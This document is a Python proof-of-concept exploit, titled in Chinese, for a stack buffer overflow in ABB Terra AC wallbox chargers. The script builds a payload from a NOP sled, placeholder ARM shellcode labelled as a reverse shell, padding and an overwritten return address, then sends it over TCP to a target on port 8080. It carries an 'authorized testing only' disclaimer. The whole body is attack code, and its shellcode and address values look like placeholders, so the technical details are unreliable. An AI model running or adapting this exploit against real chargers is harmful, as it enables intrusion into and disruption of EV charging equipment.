CVE-2025-12143 ABB Terra AC充电桩栈缓冲区溢出漏洞

# CVE-2025-12143 PoC - ABB Terra AC Buffer Overflow # Target: ABB Terra AC Wallbox <= 1.8.33 # Note: This PoC is for educational and authorized testing only import socket import struct def create_exploit_payload(): """ Create buffer overflow payload for ABB Terra AC Adjust offset and shellcode based on target firmware version """ # Target IP and port (typical Terra AC management port) target_ip = "192.168.1.100" target_port = 8080 # Buffer overflow parameters buffer_size = 1024 return_address_offset = 256 # Create NOP sled for reliability nop_sled = b'\x90' * 100 # Shellcode for command execution (example: reverse shell) # ARM/ARM64 shellcode for embedded Linux device shellcode = ( b'\x01\x60\x8f\xe2' # Adjust register context b'\x13\xff\x2f\xe1' # SWI instruction b'\x00\x00\x00\x00' # Placeholder for actual shellcode ) # Padding to reach offset padding = b'A' * (return_address_offset - len(nop_sled) - len(shellcode)) # Overwrite return address (address in NOP sled or shellcode) return_address = struct.pack('<I', 0x00011000) # Adjust based on actual firmware # Additional padding to overflow buffer extra_padding = b'B' * (buffer_size - return_address_offset - len(return_address)) # Combine payload payload = nop_sled + shellcode + padding + return_address + extra_padding return payload def send_exploit(target_ip, target_port): """Send exploit payload to target""" try: payload = create_exploit_payload() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) print(f"[*] Sending payload to {target_ip}:{target_port}") print(f"[*] Payload size: {len(payload)} bytes") sock.send(payload) response = sock.recv(1024) print(f"[*] Response received: {len(response)} bytes") sock.close() return True except Exception as e: print(f"[!] Error: {str(e)}") return False if __name__ == "__main__": print("CVE-2025-12143 PoC - ABB Terra AC Buffer Overflow") print("=" * 50) print("WARNING: For authorized testing only!") print("=" * 50) # Configuration target = "192.168.1.100" # Change to target IP port = 8080 # Change to target port send_exploit(target, port)